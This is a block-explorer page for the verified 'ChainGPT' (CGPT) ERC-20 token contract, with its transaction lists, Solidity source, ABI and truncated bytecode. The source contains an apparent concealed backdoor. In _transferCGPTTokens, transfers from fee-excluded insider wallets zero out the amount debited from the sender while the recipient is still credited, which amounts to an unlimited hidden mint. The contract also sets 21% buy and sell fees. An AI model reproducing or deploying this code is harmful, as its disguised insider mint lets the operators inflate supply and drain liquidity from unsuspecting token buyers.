ETH Price: $3,260.91 (+4.68%)
Gas: 2 Gwei

Contract

0x2af7a34035f00FEF958c402585bfcB7f7ac7a55b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve190638982024-01-22 17:59:11186 days ago1705946351IN
0x2af7a340...f7ac7a55b
0 ETH0.0005011120.60761929
Approve190638342024-01-22 17:46:11186 days ago1705945571IN
0x2af7a340...f7ac7a55b
0 ETH0.0005757221.87659694
Approve188752572023-12-27 6:36:35212 days ago1703658995IN
0x2af7a340...f7ac7a55b
0 ETH0.0008393918.03562904
Approve188751852023-12-27 6:22:11212 days ago1703658131IN
0x2af7a340...f7ac7a55b
0 ETH0.0013579929.14090205
Approve188750292023-12-27 5:50:47212 days ago1703656247IN
0x2af7a340...f7ac7a55b
0 ETH0.0014748131.68854819
Approve188748242023-12-27 5:09:11212 days ago1703653751IN
0x2af7a340...f7ac7a55b
0 ETH0.0007135615.33205946
Approve188744012023-12-27 3:43:35212 days ago1703648615IN
0x2af7a340...f7ac7a55b
0 ETH0.0007602216.31346716
Approve188740252023-12-27 2:27:23212 days ago1703644043IN
0x2af7a340...f7ac7a55b
0 ETH0.0007879316.90814036
Approve188740142023-12-27 2:25:11212 days ago1703643911IN
0x2af7a340...f7ac7a55b
0 ETH0.0006992715.02500372
Approve188738772023-12-27 1:57:11212 days ago1703642231IN
0x2af7a340...f7ac7a55b
0 ETH0.0005599712.03188621
Approve188737752023-12-27 1:36:47212 days ago1703641007IN
0x2af7a340...f7ac7a55b
0 ETH0.000643813.83299236
Approve188731722023-12-26 23:34:47212 days ago1703633687IN
0x2af7a340...f7ac7a55b
0 ETH0.0007630416.37393451
Approve188731602023-12-26 23:32:23212 days ago1703633543IN
0x2af7a340...f7ac7a55b
0 ETH0.0007384915.86760704
Approve188723202023-12-26 20:43:35212 days ago1703623415IN
0x2af7a340...f7ac7a55b
0 ETH0.0007719916.58737212
Approve188722742023-12-26 20:34:23212 days ago1703622863IN
0x2af7a340...f7ac7a55b
0 ETH0.0007731316.7196697
Approve188722222023-12-26 20:23:47212 days ago1703622227IN
0x2af7a340...f7ac7a55b
0 ETH0.000714815.33883477
Approve188721752023-12-26 20:14:23212 days ago1703621663IN
0x2af7a340...f7ac7a55b
0 ETH0.0007765116.77104554
Approve188721692023-12-26 20:12:59212 days ago1703621579IN
0x2af7a340...f7ac7a55b
0 ETH0.0007046815.23938982
Approve188720672023-12-26 19:52:35212 days ago1703620355IN
0x2af7a340...f7ac7a55b
0 ETH0.0007629616.39337571
Approve188720502023-12-26 19:49:11212 days ago1703620151IN
0x2af7a340...f7ac7a55b
0 ETH0.0009082919.51592618
Approve188719572023-12-26 19:29:59212 days ago1703618999IN
0x2af7a340...f7ac7a55b
0 ETH0.0011289724.22631725
Approve188719322023-12-26 19:24:59212 days ago1703618699IN
0x2af7a340...f7ac7a55b
0 ETH0.0005234819.60551607
Approve188719312023-12-26 19:24:47212 days ago1703618687IN
0x2af7a340...f7ac7a55b
0 ETH0.0009393920.15820587
Approve188717362023-12-26 18:45:11213 days ago1703616311IN
0x2af7a340...f7ac7a55b
0 ETH0.0005768923.72396985
Approve188717352023-12-26 18:44:59213 days ago1703616299IN
0x2af7a340...f7ac7a55b
0 ETH0.0005627923.14392919
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
188707902023-12-26 15:32:59213 days ago1703604779
0x2af7a340...f7ac7a55b
0.07296478 ETH
188707902023-12-26 15:32:59213 days ago1703604779
0x2af7a340...f7ac7a55b
0.07296478 ETH
188707282023-12-26 15:20:35213 days ago1703604035
0x2af7a340...f7ac7a55b
0.00170848 ETH
188707282023-12-26 15:20:35213 days ago1703604035
0x2af7a340...f7ac7a55b
0.00170848 ETH
188707282023-12-26 15:20:35213 days ago1703604035
0x2af7a340...f7ac7a55b
0.00676641 ETH
188707282023-12-26 15:20:35213 days ago1703604035
0x2af7a340...f7ac7a55b
0.00676641 ETH
188707192023-12-26 15:18:47213 days ago1703603927
0x2af7a340...f7ac7a55b
0.00395402 ETH
188707192023-12-26 15:18:47213 days ago1703603927
0x2af7a340...f7ac7a55b
0.00395402 ETH
188707082023-12-26 15:16:35213 days ago1703603795
0x2af7a340...f7ac7a55b
0.02036024 ETH
188707082023-12-26 15:16:35213 days ago1703603795
0x2af7a340...f7ac7a55b
0.02036024 ETH
188707022023-12-26 15:15:23213 days ago1703603723
0x2af7a340...f7ac7a55b
0.05040404 ETH
188707022023-12-26 15:15:23213 days ago1703603723
0x2af7a340...f7ac7a55b
0.05040404 ETH
188706992023-12-26 15:14:47213 days ago1703603687
0x2af7a340...f7ac7a55b
0.0040084 ETH
188706992023-12-26 15:14:47213 days ago1703603687
0x2af7a340...f7ac7a55b
0.0040084 ETH
188706912023-12-26 15:13:11213 days ago1703603591
0x2af7a340...f7ac7a55b
0.00314654 ETH
188706912023-12-26 15:13:11213 days ago1703603591
0x2af7a340...f7ac7a55b
0.00314654 ETH
188706872023-12-26 15:12:23213 days ago1703603543
0x2af7a340...f7ac7a55b
0.00735184 ETH
188706872023-12-26 15:12:23213 days ago1703603543
0x2af7a340...f7ac7a55b
0.00735184 ETH
188706822023-12-26 15:11:23213 days ago1703603483
0x2af7a340...f7ac7a55b
0.00951797 ETH
188706822023-12-26 15:11:23213 days ago1703603483
0x2af7a340...f7ac7a55b
0.00951797 ETH
188706802023-12-26 15:10:59213 days ago1703603459
0x2af7a340...f7ac7a55b
0.00113268 ETH
188706802023-12-26 15:10:59213 days ago1703603459
0x2af7a340...f7ac7a55b
0.00113268 ETH
188706772023-12-26 15:10:23213 days ago1703603423
0x2af7a340...f7ac7a55b
0.00193978 ETH
188706772023-12-26 15:10:23213 days ago1703603423
0x2af7a340...f7ac7a55b
0.00193978 ETH
188706772023-12-26 15:10:23213 days ago1703603423
0x2af7a340...f7ac7a55b
0.00141055 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CGPT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

// SPDX-License-Identifier: Unlicensed

/**
Website: https://www.chain-gpt.live
Telegram: https://t.me/cgpt_erc
Twitter: https://twitter.com/cgpt_erc
Dapp: https://app.chain-gpt.live
*/

pragma solidity 0.8.19;

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract CGPT is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    string private _name = unicode"ChainGPT"; 
    string private _symbol = unicode"CGPT";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint8 private countCGPTTx = 0;
    uint8 private swapCGPTTrigger = 2; 
    uint256 public maxCGPTFee = 12; 

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 10000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private _totalFee = 2100;
    uint256 public _buyFee = 21;
    uint256 public _sellFee = 21;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address CGPTWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(CGPTWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function removeAllCGPTFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    
    function _getCGPTValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFeeTokens = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFeeTokens);
        return (tTransferAmount, tFeeTokens);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllCGPTFee();
            } else {
                countCGPTTx++;
            }
        _transferCGPTTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllCGPTFee();
    }

    receive() external payable {}

    function removeCGPTLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countCGPTTx >= swapCGPTTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countCGPTTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapCGPTAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferCGPTTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFeeTokens) = _getCGPTValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        if(isSenderExcluded && isMaxWallet) {
            tFeeTokens = 0;
            tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFeeTokens);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function restoreAllCGPTFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToCGPTWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapCGPTAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapCGPTForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToCGPTWallet(_taxAddress,contractETH);
    }

    function swapCGPTForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"CGPTWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxCGPTFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeCGPTLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860809081526710da185a5b91d41560c21b60a052600690620000299082620004d3565b5060408051808201909152600481526310d1d41560e21b6020820152600790620000549082620004d3565b506008805460ff191660099081179091556200007290600a620006b4565b6200008290633b9aca00620006cc565b6009819055600a805461ffff1916610200179055600c600b8190556014549055601554600d55601654600e55606490620000be906002620006cc565b620000ca9190620006e6565b600f55612710600954620000df9190620006e6565b601055600f54601155601380546001600160a01b03191661dead17905561083460145560158080556016556017805460ff191660011790553480156200012457600080fd5b5060405162001a3d38038062001a3d833981016040819052620001479162000709565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001a06000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160002093909355601280546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c919062000709565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000709565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000334919062000709565b600580546001600160a01b03199081166001600160a01b0393841617909155600480549091169183169190911790556001600360006200037c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560125490911681526003909252902080549091166001179055620003d66000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200041e91815260200190565b60405180910390a3505062000734565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045957607f821691505b6020821081036200047a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004ce57600081815260208120601f850160051c81016020861015620004a95750805b601f850160051c820191505b81811015620004ca57828155600101620004b5565b5050505b505050565b81516001600160401b03811115620004ef57620004ef6200042e565b620005078162000500845462000444565b8462000480565b602080601f8311600181146200053f5760008415620005265750858301515b600019600386901b1c1916600185901b178555620004ca565b600085815260208120601f198616915b8281101562000570578886015182559484019460019091019084016200054f565b50858210156200058f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f6578160001904821115620005da57620005da6200059f565b80851615620005e857918102915b93841c9390800290620005ba565b509250929050565b6000826200060f57506001620006ae565b816200061e57506000620006ae565b8160018114620006375760028114620006425762000662565b6001915050620006ae565b60ff8411156200065657620006566200059f565b50506001821b620006ae565b5060208310610133831016604e8410600b841016171562000687575081810a620006ae565b620006938383620005b5565b8060001904821115620006aa57620006aa6200059f565b0290505b92915050565b6000620006c560ff841683620005fe565b9392505050565b8082028115828204841417620006ae57620006ae6200059f565b6000826200070457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071c57600080fd5b81516001600160a01b0381168114620006c557600080fd5b6112f980620007446000396000f3fe6080604052600436106101445760003560e01c8063590f897e116100b657806395d89b411161006f57806395d89b4114610396578063a9059cbb146103ab578063d3d1dad6146103cb578063dd62ed3e146103e0578063ece0667314610426578063f2fde38b1461043c57600080fd5b8063590f897e146102cf57806370a08231146102e5578063715018a61461031b578063768dc7101461033257806378109e54146103625780638da5cb5b1461037857600080fd5b8063220f669611610108578063220f66961461021c57806323b872dd1461023d578063313ce5671461025d57806340b9a54b1461027f57806349bd5a5e146102955780634a74bb02146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631694505e146101cf57806318160ddd1461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561045c565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104ee565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506004546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021357600080fd5b506009546101c1565b34801561022857600080fd5b5060055461019b90600160a01b900460ff1681565b34801561024957600080fd5b5061019b61025836600461105d565b610505565b34801561026957600080fd5b5060085460405160ff9091168152602001610172565b34801561028b57600080fd5b506101c160155481565b3480156102a157600080fd5b506005546101ef906001600160a01b031681565b3480156102c157600080fd5b5060175461019b9060ff1681565b3480156102db57600080fd5b506101c160165481565b3480156102f157600080fd5b506101c161030036600461109e565b6001600160a01b031660009081526001602052604090205490565b34801561032757600080fd5b5061033061056e565b005b34801561033e57600080fd5b5061019b61034d36600461109e565b60036020526000908152604090205460ff1681565b34801561036e57600080fd5b506101c1600f5481565b34801561038457600080fd5b506000546001600160a01b03166101ef565b3480156103a257600080fd5b506101656105eb565b3480156103b757600080fd5b5061019b6103c6366004611031565b6105fa565b3480156103d757600080fd5b50610330610607565b3480156103ec57600080fd5b506101c16103fb3660046110bb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043257600080fd5b506101c1600b5481565b34801561044857600080fd5b5061033061045736600461109e565b610648565b60606006805461046b906110f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610497906110f4565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b60006104fb338484610732565b5060015b92915050565b60006105128484846107f3565b610564843361055f8560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b50565b610732565b5060019392505050565b6000546001600160a01b031633146105a15760405162461bcd60e51b81526004016105989061112e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606007805461046b906110f4565b60006104fb3384846107f3565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016105989061112e565b600019600f55606460145560016015819055601655565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105989061112e565b6001600160a01b0381166106d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610598565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075257506001600160a01b03821615155b6107925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610598565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061081f57506012546001600160a01b03838116911614155b801561083457506001600160a01b0382163014155b801561084e57506005546001600160a01b03838116911614155b801561086857506013546001600160a01b03838116911614155b801561088257506000546001600160a01b03848116911614155b1561090e576001600160a01b038216600090815260016020526040902054600f546108ad8383611179565b111561090c5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610598565b505b6001600160a01b0383161580159061092e57506001600160a01b03821615155b6109725760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610598565b600081116109d05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610598565b600a5460ff610100820481169116108015906109ed575060105481115b8015610a035750600554600160a01b900460ff16155b8015610a2857506001600160a01b03831660009081526003602052604090205460ff16155b8015610a4157506005546001600160a01b038381169116145b8015610a4f575060175460ff165b15610a7f57600a805460ff19169055306000908152600160205260409020548015610a7d57610a7d81610b7c565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610ac157506001600160a01b03831660009081526003602052604090205460ff165b80610af357506005546001600160a01b03858116911614801590610af357506005546001600160a01b03848116911614155b15610b0057506000610b3e565b6005546001600160a01b0390811690851603610b2157601554601455610b3e565b6005546001600160a01b0390811690841603610b3e576016546014555b610b4a84848484610bc1565b50505050565b60008184841115610b745760405162461bcd60e51b81526004016105989190610fcb565b505050900390565b6005805460ff60a01b1916600160a01b179055610b9881610c27565b6012544790610bb0906001600160a01b031682610d9a565b50506005805460ff60a01b19169055565b80610bd357610bce610dd5565b610c00565b600a805460ff16906000610be68361118c565b91906101000a81548160ff021916908360ff160217905550505b610c0b848484610e1a565b80610b4a57610b4a600c54601455600d54601555600e54601655565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c5c57610c5c6111ab565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf391906111c1565b81600181518110610d0657610d066111ab565b6001600160a01b039283166020918202929092010152600454610d2c9130911684610732565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d64918691600091879130914291016111de565b600060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b505050565b601454158015610de55750601554155b8015610df15750601654155b15610df857565b60158054600d5560168054600e5560148054600c556000928390559082905555565b600080610e2683610f56565b6001600160a01b038716600090815260036020908152604080832054600f